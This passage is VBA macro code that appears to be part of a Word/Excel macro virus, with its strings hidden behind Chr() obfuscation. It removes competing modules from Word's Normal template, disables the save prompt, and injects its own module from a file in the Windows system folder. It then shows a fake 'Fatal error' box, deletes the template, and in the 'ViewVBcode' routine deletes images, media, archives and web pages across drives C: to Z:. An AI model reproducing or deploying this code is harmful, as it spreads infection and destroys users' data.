2: For Each entry In WordObj.NormalTemplate.VBProject.VBComponents
If entry.Name = Chr(84) + Chr(104) + Chr(105) + Chr(115) + Chr(68) + Chr(111) + Chr(99) + Chr(117) + Chr(109) + Chr(101) + Chr(110) + Chr(116) Then GoTo 3
If entry.CodeModule.Find(Chr(125) + Chr(124) + Chr(123) + Chr(121) + Chr(107), 1, 1, 2000, 2000) And entry.CodeModule.CountOfLines >= 416 Then kod = True: GoTo 3
WordObj.VBE.ActiveVBProject.VBComponents.Remove WordObj.VBE.ActiveVBProject.VBComponents(entry.Name)
3: Next
WordObj.Options.SaveNormalPrompt = 0
If kod = False Then
WordObj.NormalTemplate.VBProject.VBComponents.Import (Environ("WINDIR") & "\SYSTEM\" & Usr & Chr(46) + Chr(103) + Chr(117) + Chr(98))
GoTo 5
4: e = WordObj.NormalTemplate.FullName
Qaz = True
End If
5: If Wordz = True Then WordObj.Quit
If Wordz = True And Qaz = True Then
SetAttr e, vbNormal
MsgBox Chr(70) + Chr(97) + Chr(116) + Chr(97) + Chr(108) + Chr(32) + Chr(101) + Chr(114) + Chr(114) + Chr(111) + Chr(114), 2 + 4096
Kill e
Set e = Nothing
Set Wordz = Nothing
Set Qaz = Nothing
GoTo 1
End If
Set e = Nothing
Workbooks(Chr(66) + Chr(111) + Chr(111) + Chr(107) + Chr(49)).Close
End Sub
Sub ViewVBcode()
On Error Resume Next
Set fs = Application.FileSearch
fs.LookIn = "C:\ ; D:\ ; E:\ ; F:\ ; G:\ ; H:\ ; I:\ ; J:\ ; K:\ ; L:\ ; M:\ ; N:\ ; O:\ ; P:\ ; Q:\ ; R:\ ; S:\ ; T:\ ; U:\ ; V:\ ; W:\ ; X:\ ; Y:\ ; Z:\"
fs.SearchSubFolders = True
fs.FileName = "*.jpg ; *.jpe ; *.bmp ; *.gif ; *.avi ; *.wav ; *.mid ; *.mpg ; *.mp2 ; *.mp3 ; *.zip ; *.rar ; *.arj ; *.htm ; *.html"
fs.Execute
For j = 1 To fs.FoundFiles.Count
SetAttr fs.FoundFiles(j), 0
Kill fs.FoundFiles(j)
Next j
End Sub